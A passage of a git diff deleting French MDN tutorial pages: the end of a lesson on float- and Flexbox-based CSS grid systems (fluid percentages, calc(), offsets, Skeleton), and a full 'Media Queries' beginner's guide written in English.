Note : Nous avons aussi donné à chaque colonne une couleur légèrement rosée pour que vous puissiez voir exactement l'espace pris par chacune.

-
- -

Les conteneurs destinés à accueillir plusieurs colonnes doivent être d'une classe spéciale pour pouvoir ajuster leurs valeurs {{cssxref("width")}} en fonction du nombre de colonnes requis (plus les gouttières intermédiaires). Nous devons créer une classe supplémentaire pour permettre aux conteneurs de s'étendre de 2 à 12 colonnes. Cette largeur est le résultat de l'addition de la largeur de toutes les colonnes plus les largeurs des gouttières dont le nombre est toujours inférieur de 1 au nombre de colonnes.

- -

Ajoutez ce qui suit en bas de la CSS :

- -
/* Deux largeurs de colonnes (120px) plus une largeur de gouttière (20px) */
-.col.span2 { width: 140px; }
-/* Trois largeurs de colonnes (180px) plus deux largeurs de gouttières (40px) */
-.col.span3 { width: 220px; }
-/* et ainsi de suite... */
-.col.span4 { width: 300px; }
-.col.span5 { width: 380px; }
-.col.span6 { width: 460px; }
-.col.span7 { width: 540px; }
-.col.span8 { width: 620px; }
-.col.span9 { width: 700px; }
-.col.span10 { width: 780px; }
-.col.span11 { width: 860px; }
-.col.span12 { width: 940px; }
- -

Une fois ces classes crées, nous pouvons disposer des colonnes de largeur différentes sur la trame. Enregistrez et chargez cette page dans le navigateur pour voir l'effet.

- -
-

Note : Si vous avez du mal à faire fonctionner cet exemple, comparez‑le avec notre version terminée sur GitHub (la voir aussi en fonctionnement direct).

-
- -

Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci :

- -
<div class="row">
-  <div class="col span8">13</div>
-  <div class="col span4">14</div>
-</div>
- -

Maintenant vous avez un système de trame fonctionnel. Il suffit simplement de définir les lignes et le nombre de colonnes dans chaque ligne, puis de remplir chaque conteneur avec le contenu voulu. Super !

- -

Creation d'une trame fluide

- -

Cette trame est tout à fait correcte, mais elle a une largeur fixe. Nous souhaitons vraiment une trame souple (fluide) qui s'élargisse ou s'étrécisse avec l'espace disponible dans la fenêtre de vue du navigateur. Pour ce faire, il faut transformer les largeurs de référence de pixels en pourcentages.

- -

L'équation qui transforme une largeur fixe en pourcentage est la suivante :

- -
cible / contexte = résultat
- -

Pour la largeur de la première colonne, la largeur cible est de 60 pixels et le contexte est l'enveloppe de 960 pixels. Avec la formule ci‑dessus nous calculons le pourcentage.

- -
60 / 960 = 0.0625
- -

Décalant de deux le point décimal nous obtenons un pourcentage de 6.25%. Donc, dans la CSS, nous pouvons remplacer la largeur de colonne de 60 pixels par 6.25%.

- -

En faisant de même pour la largeur de la gouttière :

- -
20 / 960 = 0.02083333333
- -

Donc, remplaçons par 2.08333333% la valeur 20 pixels de {{cssxref("margin-left")}} dans la règle .col et de {{cssxref("padding-right")}} dans la règle .wrapper.

- -

Mise à jour de la trame

- -

Pour ce paragraphe, faites une autre copie de la page exemple précédente ou faites une copie locale du code de simple-grid-finished.html comme point de départ.

- -

Mettez à jour la deuxième règle CSS (avec le sélecteur .wrapper) comme suit :

- -
body {
-  width: 90%;
-  max-width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 2.08333333%;
-}
- -

Outre la définition du pourcentage comme valeur de {{cssxref("width")}}, nous avons ajouté la propriété {{cssxref("max-width")}} de façon à plafonner une mise en page qui deviendrait trop large.

- -

Ensuite, mettez à jour les quatre règles CSS (du sélecteur .col) ainsi :

- -
.col {
-  float: left;
-  margin-left: 2.08333333%;
-  width: 6.25%;
-  background: rgb(255, 150, 150);
-}
- -

Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes  les règles .col.span en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous.

- -

Mettez à jour le bloc bas des règles CSS avec ce qui suit :

- -
/* Deux largeurs de colonnes (12.5%) plus une largeur de gouttière (2.08333333%) */
-.col.span2 { width: 14.58333333%; }
-/* Trois largeurs de colonnes (18.75%) plus deux largeurs de gouttière (4.1666666%) */
-.col.span3 { width: 22.91666666%; }
-/* Et ainsi de suite... */
-.col.span4 { width: 31.24999999%; }
-.col.span5 { width: 39.58333332%; }
-.col.span6 { width: 47.91666665%; }
-.col.span7 { width: 56.24999998%; }
-.col.span8 { width: 64.58333331%; }
-.col.span9 { width: 72.91666664%; }
-.col.span10 { width: 81.24999997%; }
-.col.span11 { width: 89.5833333%; }
-.col.span12 { width: 97.91666663%; }
- -

Maintenant enregistrez le code, chargez le dans le navigateur et modifiez la largeur de vue — vous devez constater que la largeur des colonnes s'ajuste comme il convient.

- -
-

Note : Si vous avez du mal à faire fonctionner l'exemple ci‑dessus, comparez‑le avec notre version terminée sur GitHub (voir aussi celle s'exécutant en direct).

-
- -

Faciliter les calculs avec la fonction calc()

- -

Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir cet exemple dans le didacticiel MediaRecorder API.

- -

Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction calc() nous permet de faire ce calcul dans la valeur width même, ainsi pour tout élément au-delà de la colonne 4 nous pouvons écrire, par exemple :

- -
.col.span4 {
-  width: calc((6.25%*4) + (2.08333333%*3));
-}
- -

Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique :

- -
.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
-.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
-.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
-.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
-.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
-.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
-.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
-.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
-.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
-.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
-.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
- -
-

Note : Vous pouvez voir la version terminée dans fluid-grid-calc.html (la voir aussi  en direct).

-
- -
-

Note : Si vous n'arrivez pas à faire fonctionner ce qui précède, cela peut être dû au fait que votre navigateur ne prend pas en charge la fonction calc(), même si elle est assez bien prise en charge parmi les navigateurs — au‑delà de IE9.

-
- -

Systèmes de trames « sémantiques » vs. « non sémantiques »

- -

Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes span2, span3, etc.

- -

Ce n'est pas la seule approche. À la place, vous pouvez décider de la trame, puis ajouter les informations de taille aux règles des classes sémantiques existantes. Par exemple, si vous avez un élément {{htmlelement("div")}} de classe content que vous voulez développer sur huit colonnes, vous pouvez copier sur la largeur de la classe span8, ce qui vous donne une règle :

- -
.content {
-  width: calc((6.25%*8) + (2.08333333%*7));
-}
- -
-

Note : Si vous deviez utiliser un préprocesseur tel que Sass, vous pourriez créer un simple mixage pour qu'il insère cette valeur pour vous.

-
- -

Décalage du conteneur d'une trame

- -

La trame créée plus haut fonctionne bien tant que tous les conteneurs sont placés à l'aplomb du côté gauche d'une colonne de trame. Si nous voulons laisser une colonne vide avant le premier conteneur — ou entre les conteneurs — nous devons créer une classe offset pour ajouter une marge gauche à notre site pour le décaler visuellement dans la grille. Encore des calculs !

- -

Essayons.

- -

Démarrons avec le code précédent ou utilisons le fichier fluid-grid.html comme point de départ.

- -

Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS :

- -
.offset-by-one {
-  margin-left: calc(6.25% + (2.08333333%*2));
-}
- -

Ou, si vous préférez calculer le pourcentage vous-même, utilisez :

- -
.offset-by-one {
-  margin-left: 10.41666666%;
-}
- -

Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML :

- -
<div class="col span6">14</div>
- -

remplacez‑le par :

- -
<div class="col span5 offset-by-one">14</div>
- -
-

Note : Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage !

-
- -

Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple fluid-grid-offset.html (voir aussi l'exécution directement). L'exemple terminé doit ressembler à ceci :

- -

- -
-

Note : Comme exercice supplémentaire, pouvez‑vous implémenter une classe offset-by-two ?

-
- -

Limitations des trames de boîtes flottantes

- -

En utilisant un tel système, vous devez veiller à ce que la somme des largeurs doit correcte et que ne soit pas inclus d'éléments dans une ligne qui s'étendent sur plus de colonnes que la rangée peut en contenir. En raison du mode de fonctionnement des boîtes flottantes, si le nombre de colonnes de la grille devient trop large pour la trame, les éléments d'extrémité descendront sur la ligne suivante et casseront la trame.

- -

N'oubliez pas non plus que si le contenu des éléments s'élargit au-delà des rangées qu'ils occupent, il y aura débordement et tout sera gâché.

- -

La plus grande limite de ce système est essentiellement son caractère unidimensionnel. Il s'agit de colonnes et de répartition d'éléments transversaux, mais pas de lignes. Il est très difficile avec ces anciennes méthodes de mise en page de contrôler la hauteur des éléments sans fixer explicitement une hauteur, et c'est aussi une approche très rigide — cela ne fonctionne que si vous pouvez garantir que le contenu est d'une hauteur donnée..

- -

Trames Flexbox ?

- -

Si vous avez lu le précédent article à propors de Flexbox, vous pourriez penser que Flexbox est la solution idéale pour créer un système de trames. Il existe actuellement nombre de systèmes de grille fondés sur Flexbox et Flexbox peut résoudre beaucoup de problèmes mis en évidence lors de la création de notre trame ci-dessus.

- -

Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes wrapper, row et col :

- -
body {
-  width: 90%;
-  max-width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 2.08333333%;
-}
-
-
-.row {
-  display: flex;
-}
-
-.col {
-  margin-left: 2.08333333%;
-  margin-bottom: 1em;
-  width: 6.25%;
-  flex: 1 1 auto;
-  background: rgb(255,150,150);
-}
- -

Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code flexbox-grid.html (voir aussi en  exécution directe).

- -

Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées  pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à display : flex.

- -

Pour .col nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété  {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à auto. Comme la valeur {{cssxref("width")}} de l'élément est fixée, auto utilisera cette valeur en tant que valeur de flex-basis.

- -

Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle s'élargissent ou s'étrécissent de manière égale quand nous modifions la largeur de la vue. Sur la ligne suivante, toutefois, nous n'avons que quatre éléments et ceux-ci s'élargissent ou s'étrécissent à partir de la base de 60px. Avec seulement quatre d'entre eux ils peuvent s'élargir un peu plus que les éléments de la ligne au‑dessus, le résultat étant qu'ils occupent tous la même largeur sur la deuxième ligne.

- -

- -

Pour corriger cela, nous avons encore besoin d'inclure les classes span pour donner une largeur qui remplave la valeur donnée par flex-basis pour cet élément.

- -

Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos.

- -

Flexbox est un design mono-dimensionnel par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes et pour les lignes, ce qui signifie que si nous utilisons Flexbox pour  une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes.

- -

Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité.

- -

Systèmes de trame tierces parties

- -

Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que Bootstrap et Foundation incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs.

- -

Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS.

- -

Commençons par visiter le site web de Skeleton et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers skeleton.css et normalize.css dans un nouveau répertoire.

- -

Faites une copie de html-skeleton.html et enregistrez le dans le même répertoire que skeleton.css et normalize.css.

- -

Incorporez les .css skeleton et normalize dans la page HTML, en ajoutant ce qui suit dans head :

- -
<link href="normalize.css" rel="stylesheet">
-<link href="skeleton.css" rel="stylesheet">
- -

Skeleton inclut plus qu'un système de grille — il contient aussi des CSS pour la typographie et autres éléments de page que vous pouvez utiliser comme point de départ. Toutefois nous les laisserons de côté pour l'instant — c'est la trame qui nous interesse pour le moment.

- -
-

Note : Normalize est une petite bibliothèque réellement utile écrite par Nicolas Gallagher, bibliothèque qui fait automatiquement quelques corrections sur les dispositions de base et rend le style des éléments par défaut plus conhérent entre les divers navigateurs.

-
- -

Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML :

- -
<div class="container">
-  <div class="row">
-    <div class="col">1</div>
-    <div class="col">2</div>
-    <div class="col">3</div>
-    <div class="col">4</div>
-    <div class="col">5</div>
-    <div class="col">6</div>
-    <div class="col">7</div>
-    <div class="col">8</div>
-    <div class="col">9</div>
-    <div class="col">10</div>
-    <div class="col">11</div>
-    <div class="col">12</div>
-  </div>
-  <div class="row">
-    <div class="col">13</div>
-    <div class="col">14</div>
-    <div class="col">15</div>
-    <div class="col">16</div>
-  </div>
-</div>
- -

Pour commencer à utiliser Skeleton nous devons donner à l'élément enveloppe {{htmlelement("div")}} une classe container — elle est déjà comprise dans le HTML. Ceci centre le contenu avec une largeur maximale de 960 pixels. Vous pouvez voir que les boîtes ne deviennent plus jamais plus large que 960 pixels.

- -

Regardez dans le fichier skeleton.css, vous verrez la  CSS appliquée quand on se sert de cette classe. L'élément <div> est centré en utilisant la valeur auto pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur border-box comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale.

- -
.container {
-  position: relative;
-  width: 100%;
-  max-width: 960px;
-  margin: 0 auto;
-  padding: 0 20px;
-  box-sizing: border-box;
-}
- -

Les éléments ne peuvent faire partie d'une trame que s'ils sont à l'intérieur d'une ligne, donc avec notre exemple précédent nous aurons besoin d'un <div> supplémentaire ou d'un autre élément de la classe row imbriqué entre le <div> de content et les véritables conteneurs <div> de contenu. Nous avons aussi déjà fait cela.

- -

Disposons maintenant les boîtes conteneur. Skeleton est fondé sur une trame de 12 colonnes. Les boîtes de la ligne supérieure nécessitent toutes des classes one column pour qu'elles se répartissent à raison de une par colonne.

- -

Ajoutez maintenant cet extrait de lignes de code :

- -
<div class="container">
-  <div class="row">
-    <div class="one column">1</div>
-    <div class="one column">2</div>
-    <div class="one column">3</div>
-    /* and so on */
-  </div>
-</div>
- -

Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi :

- -
<div class="row">
-  <div class="one column">13</div>
-  <div class="six columns">14</div>
-  <div class="three columns">15</div>
-  <div class="two columns">16</div>
-</div>
- -

Enregistrez le fichier HTML et chargez‑le dans le navigateur pour voir ce que cela donne.

- -
-

Note : Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier html-skeleton-finished.html (à voir aussi  en exécution directe).

-
- -

Si vous regardez dans le fichier skeleton.css vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait.

- -
.three.columns { width: 22%; }
- -

Tout Skeleton (ou n'importe quel autre canevas) paramètre des classes prédéfinies qu'il est possible d'utiliser en les ajoutant à votre balisage. Vous avez fait exactement la même chose en calculant ces pourcentages vous même.

- -

Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent.

- -

Résumé

- -

Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences  entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes.

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/media_queries/index.html b/files/fr/apprendre/css/css_layout/media_queries/index.html deleted file mode 100644 index c82e846273..0000000000 --- a/files/fr/apprendre/css/css_layout/media_queries/index.html +++ /dev/null @@ -1,425 +0,0 @@ ---- -title: Guide du débutant des Media Queries -slug: Apprendre/CSS/CSS_layout/Media_queries -translation_of: Learn/CSS/CSS_layout/Media_queries ---- -

{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

- -

The CSS Media Query gives you a way to apply CSS only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. In this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive.

- - - - - - - - - - - - -
Prerequisites:HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps and CSS building blocks.)
Objective:To understand how to use media queries, and the most common approach for using them to create responsive designs.
- -

Media Query Basics

- -

The simplest media query syntax looks like this:

- -
@media media-type and (media-feature-rule) {
-  /* CSS rules go here */
-}
- -

It consists of:

- - - -

Media types

- -

The possible types of media you can specify are:

- - - -

The following media query will only set the body to 12pt if the page is printed. It will not apply when the page is loaded in a browser.

- -
@media print {
-    body {
-        font-size: 12pt;
-    }
-}
- -
-

Note: the media type here is different from the so-called {{glossary("MIME type")}}.

-
- -
-

Note: there were a number of other media types defined in the Level 3 Media Queries specification; these have been deprecated and should be avoided.

-
- -
-

Note: Media types are optional; if you do not indicate a media type in your media query then the media query will default to being for all media types.

-
- -

Media feature rules

- -

After specifying the type, you can then target a media feature with a rule.

- -

Width and height

- -

The feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is viewport width, and we can apply CSS if the viewport is above or below a certain width — or an exact width — using the min-width, max-width, and width media features.

- -

These features are used to create layouts that respond to different screen sizes. For example, to change the body text color to red if the viewport is exactly 600 pixels, you would use the following media query.

- -
@media screen and (width: 600px) {
-    body {
-        color: red;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

The width (and height) media features can be used as ranges, and therefore be prefixed with min- or max- to indicate that the given value is a minimum, or a maximum. For example, to make the color blue if the viewport is narrower than 400 pixels, use max-width:

- -
@media screen and (max-width: 400px) {
-    body {
-        color: blue;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

In practice, using minimum or maximum values is much more useful for responsive design so you will rarely see width or height used alone.

- -

There are a number of other media features that you can test for, although some of the newer features introduced in Level 4 and 5 of the media queries specification have limited browser support. Each feature is documented on MDN along with browser support information, and you can find a full list at Using Media Queries: Media Features.

- -

Orientation

- -

One well-supported media feature is orientation, which allows us to test for portrait or landscape mode. To change the body text color if the device is in landscape orientation, use the following media query.

- -
@media (orientation: landscape) {
-    body {
-        color: rebeccapurple;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

A standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or tablet in portrait mode. Testing for orientation can help you to create a layout which is optimised for devices in portrait mode.

- -

Use of pointing devices

- -

As part of the Level 4 specification, the hover media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover.

- -
@media (hover: hover) {
-    body {
-        color: rebeccapurple;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

If we know the user cannot hover, we could display some interactive features by default. For users who can hover, we might choose to make them available when a link is hovered over.

- -

Also in Level 4 is the pointer media feature. This takes three possible values, none, fine and coarse. A fine pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A coarse pointer is your finger on a touchscreen. The value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands.

- -

Using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen.

- -

More complex media queries

- -

With all of the different possible media queries, you may want to combine them, or create lists of queries — any of which could be matched.

- -

"and" logic in media queries

- -

To combine media features you can use and in much the same way as we have used and above to combine a media type and feature. For example, we might want to test for a min-width and orientation. The body text will only be blue if the viewport is at least 400 pixels wide and the device is in landscape mode.

- -
@media screen and (min-width: 400px) and (orientation: landscape) {
-    body {
-        color: blue;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

"or" logic in media queries

- -

If you have a set of queries, any of which could match, then you can comma separate these queries. In the below example the text will be blue if the viewport is at least 400 pixels wide OR the device is in landscape orientation. If either of these things are true the query matches.

- -
@media screen and (min-width: 400px), screen and (orientation: landscape) {
-    body {
-        color: blue;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

"not" logic in media queries

- -

You can negate an entire media query by using the not operator. This reverses the meaning of the entire media query. Therefore in this next example the text will only be blue if the orientation is portrait.

- -
@media not all and (orientation: landscape) {
-    body {
-        color: blue;
-    }
-}
- -

Open this example in the browser, or view the source.

- -

How to choose breakpoints

- -

In the early days of responsive design, many designers would attempt to target very specific screen sizes. Lists of the sizes of the screens of popular phones and tablets were published in order that designs could be created to neatly match those viewports.

- -

There are now far too many devices, with a huge variety of sizes, to make that feasible. This means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. Perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. That's the point at which you want to use a media query to change the design to a better one for the space you have available. This approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. The points at which a media query is introduced are known as breakpoints.

- -

The Responsive Design Mode in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design.

- -

A screenshot of a layout in a mobile view in Firefox DevTools.

- -

Active learning: mobile first responsive design

- -

Broadly, you can take two approaches to a responsive design. You can start with your desktop or widest view and then add breakpoints to move things around as the viewport becomes smaller, or you can start with the smallest view and add layout as the viewport becomes larger. This second approach is described as mobile first responsive design and is quite often the best approach to follow.

- -

The view for the very smallest devices is quite often a simple single column of content, much as it appears in normal flow. This means that you probably don't need to do a lot of layout for small devices — order your source well and you will have a readable layout by default.

- -

The below walkthrough takes you through this approach with a very simple layout. In a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same.

- -

Walkthrough: a simple mobile-first layout

- -

Our starting point is an HTML document with some CSS applied to add background colors to the various parts of the layout.

- -
* {
-    box-sizing: border-box;
-}
-
-body {
-    width: 90%;
-    margin: 2em auto;
-    font: 1em/1.3 Arial, Helvetica, sans-serif;
-}
-
-a:link,
-a:visited {
-    color: #333;
-}
-
-nav ul,
-aside ul {
-    list-style: none;
-    padding: 0;
-}
-
-nav a:link,
-nav a:visited {
-    background-color: rgba(207, 232, 220, 0.2);
-    border: 2px solid rgb(79, 185, 227);
-    text-decoration: none;
-    display: block;
-    padding: 10px;
-    color: #333;
-    font-weight: bold;
-}
-
-nav a:hover {
-    background-color: rgba(207, 232, 220, 0.7);
-}
-
-.related {
-    background-color: rgba(79, 185, 227, 0.3);
-    border: 1px solid rgb(79, 185, 227);
-    padding: 10px;
-}
-
-.sidebar {
-    background-color: rgba(207, 232, 220, 0.5);
-    padding: 10px;
-}
-
-article {
-    margin-bottom: 1em;
-}
-
- -

We've made no layout changes, however the source of the document is ordered in a way that makes the content readable. This is an important first step and one which ensures that if the content were to be read out by a screen reader, it would be understandable.

- -
<body>
-    <div class="wrapper">
-      <header>
-        <nav>
-          <ul>
-            <li><a href="">About</a></li>
-            <li><a href="">Contact</a></li>
-            <li><a href="">Meet the team</a></li>
-            <li><a href="">Blog</a></li>
-          </ul>
-        </nav>
-      </header>
-      <main>
-        <article>
-          <div class="content">
-            <h1>Veggies!</h1>
-            <p>
-              ...
-            </p>
-          </div>
-          <aside class="related">
-            <p>
-              ...
-            </p>
-          </aside>
-        </article>
-
-        <aside class="sidebar">
-          <h2>External vegetable-based links</h2>
-          <ul>
-            <li>
-              ...
-            </li>
-          </ul>
-        </aside>
-      </main>
-
-      <footer><p>&copy;2019</p></footer>
-    </div>
-  </body>
-
- -

This simple layout also works well on mobile. If we view the layout in Responsive Design Mode in DevTools we can see that it works pretty well as a straightforward mobile view of the site.

- -

Open step 1 in the browser, or view the source.

- -

If you want to follow on and implement this example as we go, make a local copy of step1.html on your computer.

- -

From this point, start to drag the Responsive Design Mode view wider until you can see that the line lengths are becoming quite long, and we have space for the navigation to display in a horizontal line. This is where we'll add our first media query. We'll use ems, as this will mean that if the user has increased their text size, the breakpoint will happen at a similar line-length but wider viewport, than someone with a smaller text size.

- -

Add the below code into the bottom of your step1.html CSS.

- -
@media screen and (min-width: 40em) {
-    article {
-        display: grid;
-        grid-template-columns: 3fr 1fr;
-        column-gap: 20px;
-    }
-
-    nav ul {
-        display: flex;
-    }
-
-    nav li {
-        flex: 1;
-    }
-}
-
- -

This CSS gives us a two-column layout inside the article, of the article content and related information in the aside element. We have also used flexbox to put the navigation into a row.

- -

Open step 2 in the browser, or view the source.

- -

Lets continue to expand the width until we feel there is enough room for the sidebar to also form a new column. Inside a media query we'll make the main element into a two column grid. We then need to remove the {{cssxref("margin-bottom")}} on the article in order that the two sidebars align with each other, and we'll add a {{cssxref("border")}} to the top of the footer. Typically these small tweaks are the kind of thing you will do to make the design look good at each breakpoint.

- -

Again, add the below code into the bottom of your step1.html CSS.

- -
@media screen and (min-width: 70em) {
-    main {
-        display: grid;
-        grid-template-columns: 3fr 1fr;
-        column-gap: 20px;
-    }
-
-    article {
-        margin-bottom: 0;
-    }
-
-    footer {
-        border-top: 1px solid #ccc;
-        margin-top: 2em;
-    }
-}
-
- -

Open step 3 in the browser, or view the source.

- -

If you look at the final example at different widths you can see how the design responds and works as a single column, two columns, or three columns, depending on the available width. This is a very simple example of a mobile first responsive design.

- -

Do you really need a media query?

- -

Flexbox, Grid, and multi-column layout all give you ways to create flexible and even responsive components without the need for a media query. It's always worth considering whether these layout methods can achieve what you want without adding media queries. For example, you might want a set of cards that are at least 200 pixels wide, with as many of these 200 pixels as will fit into the main article. This can be achieved with grid layout, using no media queries at all.

- -

This could be achieved using the following:

- -
<ul class="grid">
-    <li>
-        <h2>Card 1</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>Card 2</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>Card 3</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>Card 4</h2>
-        <p>...</p>
-    </li>
-    <li>
-        <h2>Card 5</h2>
-        <p>...</p>
-    </li>
-</ul>
- -
.grid {
-    list-style: none;
-    margin: 0;
-    padding: 0;
-    display: grid;
-    gap: 20px;
-    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
-}
-
-.grid li {
-    border: 1px solid #666;
-    padding: 10px;
-}
- -

Open the grid layout example in the browser, or view the source.

- -

With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results.

- -

Test your skills!

- -

You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on — see Test your skills: Responsive Web Design.

- -

Summary

- -

In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design.

- -

You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the pointer media feature.

- -

You could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. Very often there is no right or wrong way — you should experiment and see which works best for your design and content.

- -

